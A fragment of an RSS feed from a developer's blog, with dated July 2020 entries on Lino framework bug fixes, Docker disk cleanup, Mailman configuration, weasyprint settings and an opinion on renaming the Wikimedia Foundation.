</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0717.html</guid><pubDate>Fri, 17 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, July 16, 2020</title><link>https://luc.lino-framework.org/blog/2020/0716.html</link><description>&lt;section id="thursday-july-16-2020"&gt;
&lt;h1&gt;Thursday, July 16, 2020&lt;a class="headerlink" href="#thursday-july-16-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="the-lino-openui-front-end"&gt;
&lt;h2&gt;The Lino OpenUI front end&lt;a class="headerlink" href="#the-lino-openui-front-end" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ismail is trying to get lino_openui5 running on a Windows machine.  He
discovered a first bug: the openui5 demo projects import settings from
lino_book, which is not a good idea. I changed the openui5 demo projects to not
require lino_book anymore.&lt;/p&gt;
&lt;p&gt;I then discovered yet another bug in Lino that made OpenUI5 unusable. User
objects in Django we have an attribute &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/topics/auth/default/#limiting-access-to-logged-in-users"&gt;is_authenticated&lt;/a&gt;.
The attribute of same name is always False for AnonymousUser.  But in Lino this
was a method, not an attribute. I guess that this comes from very early
childhood more than 10 years ago. It seems that somebody changed it from a
method into an attribute… but forgot to do this change on AnonymousUser.   And
Lino also had an attribute &lt;cite&gt;authenticated&lt;/cite&gt; (without the prefix &lt;cite&gt;is_&lt;/cite&gt;), probably
also for historic reasons. Which then later led to code like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;not_anon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_authenticated&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_authenticated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_authenticated&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tidied up these things and their usage (User no longer has an attribute
&lt;cite&gt;authenticated&lt;/cite&gt;, and &lt;cite&gt;is_authenticated&lt;/cite&gt; is no longer a method on AnonymousUser),
which hopefully killed that bug thoroughly.&lt;/p&gt;
&lt;p&gt;I released the following packages to PyPI so that Ismail can test them:
&lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#lino" title="(in Lino Developer Guide)"&gt;&lt;span&gt;The lino package&lt;/span&gt;&lt;/a&gt; 20.7.1, &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#xl" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Extensions Library&lt;/span&gt;&lt;/a&gt; 20.7.2, &lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt; 20.7.0, &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#openui5" title="(in Lino Developer Guide)"&gt;&lt;span&gt;OpenUI5 front end&lt;/span&gt;&lt;/a&gt; 20.7.0.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="getlino-test-suite-and-docker"&gt;
&lt;h2&gt;getlino test suite and docker&lt;a class="headerlink" href="#getlino-test-suite-and-docker" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Should the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;prep.sh&lt;/span&gt;&lt;/code&gt; file of getlino run &lt;a class="reference external" href="https://docs.docker.com/engine/reference/commandline/container_prune/"&gt;docker container prune&lt;/a&gt; in
order to delete all stopped containers?  Just to protect myself from running
into troubles after some time because my hard disk is full. On my machine that
makes sense, but what if some potential contributor tries to get started and
uses docker for other projects, and then discovers that running the getlino test
suite has removed all their containers?&lt;/p&gt;
&lt;p&gt;# docker image rm getlino_ubuntu&lt;/p&gt;
&lt;p&gt;I still had several unused docker images on my machine. I removed them manually
&lt;a class="reference external" href="https://docs.docker.com/engine/reference/commandline/image_rm/"&gt;docker image rm&lt;/a&gt;.
Here is my list before running the test suite:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker image ls
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
getlino_ubuntu      latest              ea6262153601        6 hours ago         529MB
getlino_debian      latest              7ed028f980a4        6 hours ago         618MB
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And then after running the test suite:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker image ls
REPOSITORY          TAG                 IMAGE ID            CREATED              SIZE
getlino_ubuntu      latest              4167bd107978        About a minute ago   513MB
getlino_debian      latest              4f39eb31621c        3 minutes ago        598MB
&amp;lt;none&amp;gt;              &amp;lt;none&amp;gt;              ea6262153601        6 hours ago          529MB
&amp;lt;none&amp;gt;              &amp;lt;none&amp;gt;              7ed028f980a4        6 hours ago          618MB
ubuntu              bionic              d27b9ffc5667        9 days ago           64.2MB
debian              buster              1b686a95ddbf        5 weeks ago          114MB
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Okay, &lt;cite&gt;ubuntu:bionic&lt;/cite&gt; and &lt;cite&gt;debian:buster&lt;/cite&gt; were not unused. Docker downloads them
because they are the parent of the getlino images (getlino_ubuntu and
getlino_debian). But what are these &lt;cite&gt;&amp;lt;none&amp;gt;&lt;/cite&gt; images? I read
&lt;a class="reference external" href="https://www.projectatomic.io/blog/2015/07/what-are-docker-none-none-images/"&gt;https://www.projectatomic.io/blog/2015/07/what-are-docker-none-none-images/&lt;/a&gt; but
do not yet feel experienced enough to decide. So I leave the  &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;prep.sh&lt;/span&gt;&lt;/code&gt;
file unchanged for now, and will manually watch my docker images from time to
time.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0716.html</guid><pubDate>Thu, 16 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 15, 2020</title><link>https://luc.lino-framework.org/blog/2020/0715.html</link><description>&lt;section id="wednesday-july-15-2020"&gt;
&lt;h1&gt;Wednesday, July 15, 2020&lt;a class="headerlink" href="#wednesday-july-15-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Fixed several problems when building the book docs (&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;clean&lt;/span&gt; &lt;span class="pre"&gt;-b&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WARNING: [autosummary] failed to import ‘lino_avanti.lib.avanti.user_types’: no module named lino_avanti.lib.avanti.user_types&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;How to reproduce it:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python -c &amp;quot;import lino; lino.startup(&amp;#39;lino_book.projects.min9.settings&amp;#39;); import lino_avanti.lib.avanti.user_types&amp;quot;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Explanation: The &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.uploads&lt;/span&gt;&lt;/code&gt; plugin didn’t work when
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.clients.Plugin.client_model&lt;/span&gt;&lt;/code&gt; was not a subclass of ClientBase. Because the &lt;cite&gt;coached_by&lt;/cite&gt;
parameter field wasn’t created at all. Now it gets created as a dummy field.&lt;/p&gt;
&lt;p&gt;Also the memo parser refused to have a second renderer for a same model.  But
that’s a legitimate thing happening when
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.clients.Plugin.client_model&lt;/span&gt;&lt;/code&gt; was as its default value
&lt;cite&gt;‘contacts.Person’&lt;/cite&gt;: we then have two memo commands &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;person&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;client&lt;/span&gt;&lt;/code&gt;
both pointing to the same model.  Which is actually no problem. It just means
that the inverse mechanism (rendering a given database object as a memo command)
will yield one of them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ResourceWarning: unclosed file &amp;lt;_io.BufferedReader name=’/home/luc/work/lino/lino/modlib/languages/fixtures/iso-639-3_20100707.tab’&amp;gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;–&amp;gt; Fixed some more causes for ResourceWarning, but then removed the line (in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino/__init__.py&lt;/span&gt;&lt;/code&gt;) that turns the warning into an error.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;intersphinx inventory has moved: http://www.sphinx-doc.org/en/master/objects.inv -&amp;gt; https://www.sphinx-doc.org/en/master/objects.inv&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;–&amp;gt; Changed http to https for diverse intersphinx_urls&lt;/p&gt;
&lt;section id="configuring-mailman-lists-for-laudate"&gt;
&lt;h2&gt;Configuring mailman lists for laudate&lt;a class="headerlink" href="#configuring-mailman-lists-for-laudate" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Our first mailman 3 server at
&lt;a class="reference external" href="https://lists.laudate.ee/postorius/lists/"&gt;https://lists.laudate.ee/postorius/lists/&lt;/a&gt;
was saying:&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;Something went wrong&lt;/div&gt;
&lt;div class="line"&gt;Mailman REST API not available. Please start Mailman core.&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In /etc/mailman/mailman.cfg I changed use_https from no to yes:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Whether or not requests to the web service are secured through SSL.&lt;/span&gt;
&lt;span class="n"&gt;use_https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://mailman.readthedocs.io/en/latest/src/mailman/rest/docs/rest.html"&gt;Mailman 3 Core REST API&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But that document tells me e.g. to run the “mailman info” command, and such a
command does not exist. Solution:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd /opt/mailman/venv
$ . bin/activate
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Hamza installed the &lt;a class="reference external" href="https://docs.mailman3.org/en/latest/"&gt;Mailman Suite&lt;/a&gt;
into &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/opt/mailman&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/nginx/sites-available/mailman.conf&lt;/span&gt;&lt;/code&gt; defines the nginx site&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/supervisor/conf.d/mailman.conf&lt;/span&gt;&lt;/code&gt; defines the postorius django app&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/opt/mailman/mailman-suite/mailman-suite_project/uwsgi.ini&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0715.html</guid><pubDate>Wed, 15 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 14, 2020</title><link>https://luc.lino-framework.org/blog/2020/0714.html</link><description>&lt;section id="tuesday-july-14-2020"&gt;
&lt;h1&gt;Tuesday, July 14, 2020&lt;a class="headerlink" href="#tuesday-july-14-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I pushed my work of the last days to master.  Quick summary of the changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Fix &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3711"&gt;#3711&lt;/a&gt; (Upload.manager_roles_required in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Increase configurability of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.weasyprint.html#module-lino.modlib.weasyprint" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.weasyprint&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; via some new plugin settings&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remove call to main block’s super in some weasyprint templates&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Restored the Partners.detail_layout for &lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remove some ResourceWarning&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some details:&lt;/p&gt;
&lt;p&gt;New plugin settings for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.weasyprint.html#module-lino.modlib.weasyprint" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.weasyprint&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.header_height&lt;/span&gt;&lt;/code&gt;
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.footer_height&lt;/span&gt;&lt;/code&gt;
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.top_right_width&lt;/span&gt;&lt;/code&gt;
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.top_right_image&lt;/span&gt;&lt;/code&gt;
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.header_image&lt;/span&gt;&lt;/code&gt;
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.margin_left&lt;/span&gt;&lt;/code&gt;
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.margin&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Removed some ResourceWarning caused by constructs like:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;exec&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;which I replaced by:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;exec&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0714.html</guid><pubDate>Tue, 14 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Monday, July 13, 2020</title><link>https://luc.lino-framework.org/blog/2020/0713.html</link><description>&lt;section id="monday-july-13-2020"&gt;
&lt;h1&gt;Monday, July 13, 2020&lt;a class="headerlink" href="#monday-july-13-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I got an expiry warning from certbot for the ML subdomains and fixed a cron
configuration issues which caused certbot to not get executed daily.&lt;/p&gt;
&lt;p&gt;I used the list in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/weasyprint.html#specs-weasyprint-examples" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Examples of weasyprint templates&lt;/span&gt;&lt;/a&gt; and eliminated a few trivial
bugs.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;bevats/Declaration/default.weasy.html&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0713.html</guid><pubDate>Mon, 13 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, July 4, 2020</title><link>https://luc.lino-framework.org/blog/2020/0704.html</link><description>&lt;section id="saturday-july-4-2020"&gt;
&lt;h1&gt;Saturday, July 4, 2020&lt;a class="headerlink" href="#saturday-july-4-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="lino-avanti"&gt;
&lt;h2&gt;Lino Avanti&lt;a class="headerlink" href="#lino-avanti" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A last little optimization for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3695"&gt;#3695&lt;/a&gt; : &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Upload.needed&lt;/span&gt;&lt;/code&gt; is now
also included in the insert window. I updated &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; production server
after releasing XL to PyPI.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="about-the-wikimedia-foundation"&gt;
&lt;h2&gt;About the Wikimedia Foundation&lt;a class="headerlink" href="#about-the-wikimedia-foundation" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Should the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Wikipedia:Wikimedia_Foundation"&gt;Wikimedia Foundation&lt;/a&gt; change its
name to “Wikipedia Foundation”?&lt;/p&gt;
&lt;p&gt;I was quite surprised to learn that many people have obviously been investing
considerable time and energy in a proposal to rename “Wikimedia Foundation” to
“Wikipedia Foundation”.  The main reason seems to be that normal people have
difficulties with differentiating these concepts. For me it has always been
quite clear and easy to understand that Wikimedia is the infrastructure behind
Wikipedia (their most known project) and its sister projects Wiktionary,
WikiData, WikiCommons, WikiNews, WikiTravel etc. Where “infrastructure” means
software, hardware, adminstration, legal responsibility.&lt;/p&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://commons.wikimedia.org/wiki/File:A_Wikimedia_brand_strategy_proposal_for_2030.pdf"&gt;A Wikimedia brand strategy proposal for 2030&lt;/a&gt;.
An interesting document, full of great formulations about why Wikipedia (oops,
Wikimedia) is so cool.&lt;/p&gt;
&lt;p&gt;Starting at page 26 it gives a reasonable argumentation for the suggested name
change:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;“You are doing amazing things, but it’s hard to tell from the outside”
(Complicated, Disjointed, Not showing all the great things we do)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;We risk losing mindshare to more polished players with simpler entry points
(Google, Facebook, Youtube)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Wikimedia is unknown/unclear to those outside our walls.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Wikipedia is one of the best known projects in the world.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There is a strong center of gravity around Wikipedia in terms of readers
(Wikipedia 15.2 billion, Wiktionary (next follower) only 162 million)
and editors (similar numbers).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Wikidata holds strong potential for the future. Influencing beyond Wikimedia
into other knowledge platforms. Free data beyond Wikimedia (no attribution
needed), with the potential to drive innovation in AI.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Our current brand architecture does not serve us well. We are Wiki-m-edia,
people know us for Wiki-p-edia, we want to talk about more than Wiki-p-edia.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Let’s shorten the distance by skipping the name Wiki-m-edia.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Achieving the same global brand awareness as Wikipedia would require a
marketing spend in the range of billions of dollars.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Starting at page 53 the document continues with an impressive collection of
promotion slogans about the whole vision. And indeed none of these slogans
applies specifically to Wikipedia, it’s always about the “whole vision”, i.e.
about the WMF. But everything sounds “normal” under the name “Wikipedia”.&lt;/p&gt;
&lt;p&gt;Mental exercise: read pages 53-81 and replace every occurrence of “Wikipedia” by
“Wikimedia”. How does that sound?&lt;/p&gt;
&lt;p&gt;I then found the RFC entitled &lt;a class="reference external" href="https://meta.wikimedia.org/wiki/Requests_for_comment/Should_the_Foundation_call_itself_Wikipedia"&gt;Should the Foundation call itself Wikipedia&lt;/a&gt;.
The main question is: Is it acceptable for the Foundation to use the name
Wikipedia to refer to itself?&lt;/p&gt;
&lt;p&gt;My favourite comment is from &lt;a class="reference external" href="https://meta.wikimedia.org/wiki/User:Schazjmd"&gt;Schazjmd&lt;/a&gt;: You can’t fix the finding
that “Wikimedia is less understood” by using a name that is well understood to
be something else.&lt;/p&gt;
&lt;p&gt;When I read the document, there were 45 supporting comments versus 517 opposing
comments. I added comment number 518:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Strong oppose. We have a vision named X and products named
x1, x2, x3 etc., and we observe that name x1 is more popular than name X. What
devil drives you to believe that removing X would make things more clear or
would bring the popularity of product x1 to vision X!?  The current naming
reflects things correctly, the proposed change would bring confusion. We must
not change our names, we must enforce others to use them properly. For example
when Google search shows an infobox with a summary about some concept, they say
“Data from Wikipedia”, but legally they should say “Data from Wikimedia”).&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Of course: refusing a particular suggestion of a solution for a problem does not
fix the problem. So I can’t stop here.&lt;/p&gt;
&lt;p&gt;AFAICS the problem is not yet accurately formulated.  One part of the problem is
that we say “WMF” when we might as well say “Wikimedia”. “WMF” should be
reserved for internal use. The brand name should be “Wikimedia”.  I admit that
when I think or talk about the whole vision, I always use “Wikipedia” (not
“Wikimedia”). The name “Wikpedia” is being used erroneously for the whole
vision.&lt;/p&gt;
&lt;p&gt;Languages have similar problems when certain words change their meaning over
time. That’s why we have &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Language_reform"&gt;language reforms&lt;/a&gt;.   Each language reform
causes a lot of energy and costs. Refusing to acknowledge a shift in the meaning
of a word would be swimming against the flow. But words are not names. It would
be absurd to say “Let’s rename Charles Darwin because the man Darwin has almost
nothing to do with Darwinism”.&lt;/p&gt;
&lt;p&gt;Another aspect of the problem is: We are facing an unbalanced growth of one of
our products.  That’s a temptation –but not a valid reason– to change our
name. Imagine that Microsoft corporation would change their name to “Windows
corporation” because the name “Windows” is more known than “Office”, “Skype” or
“Xbox”!&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0704.html</guid><pubDate>Sat, 04 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, July 2, 2020</title><link>https://luc.lino-framework.org/blog/2020/0702.html</link><description>&lt;section id="thursday-july-2-2020"&gt;
&lt;h1&gt;Thursday, July 2, 2020&lt;a class="headerlink" href="#thursday-july-2-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I had some fun: my notebook computer didn’t restart. It remained hanging
somewhere in the middle of the book process.&lt;/p&gt;
&lt;p&gt;It took me some time to find out how to get into the rescue mode: hit ESC at
startup to activate the BIOS menu. There select “continue” and hold ESC key
again.&lt;/p&gt;
&lt;p&gt;It then turned out that I had simply run out of disk space.&lt;/p&gt;
&lt;p&gt;Okay my 20 years of private pictures and videos take 400 GB, but where is the
rest? What is taking up so much of my terabyte?&lt;/p&gt;
&lt;p&gt;I used &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;baobab&lt;/span&gt;&lt;/code&gt; in order to see. And voilà, the guilty was Docker. Or
rather me, because I didn’t read their docs which say clearly: “Docker takes a
conservative approach to cleaning up unused objects.” In
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/lib/docker/overlay&lt;/span&gt;&lt;/code&gt; there was another 250GB of data. Each
&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; test run creates two new virtual Linux machines.  I simply said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo docker system prune
WARNING! This will remove:
- all stopped containers
- all networks not used by at least one container
- all dangling images
- all dangling build cache

Are you sure you want to continue? [y/N] y
Deleted Containers:
8e00fae0c56985e8a6ed10b147b52c2ac769aca9e7164dae1e6155f9f57b370f
...
Deleted Images:
deleted: sha256:093ab511c463ec62911de1d6f24f07b6be8072f1c87778f539bfc9c8f29f13f8
...
Total reclaimed space: 201.7GB
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Reviewed the &lt;a class="reference external" href="https://hosting.lino-framework.org/du/#admin-du" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Monitoring disk usage&lt;/span&gt;&lt;/a&gt; page.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0702.html</guid><pubDate>Thu, 02 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 1, 2020</title><link>https://luc.lino-framework.org/blog/2020/0701.html</link><description>&lt;section id="wednesday-july-1-2020"&gt;
&lt;h1&gt;Wednesday, July 1, 2020&lt;a class="headerlink" href="#wednesday-july-1-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
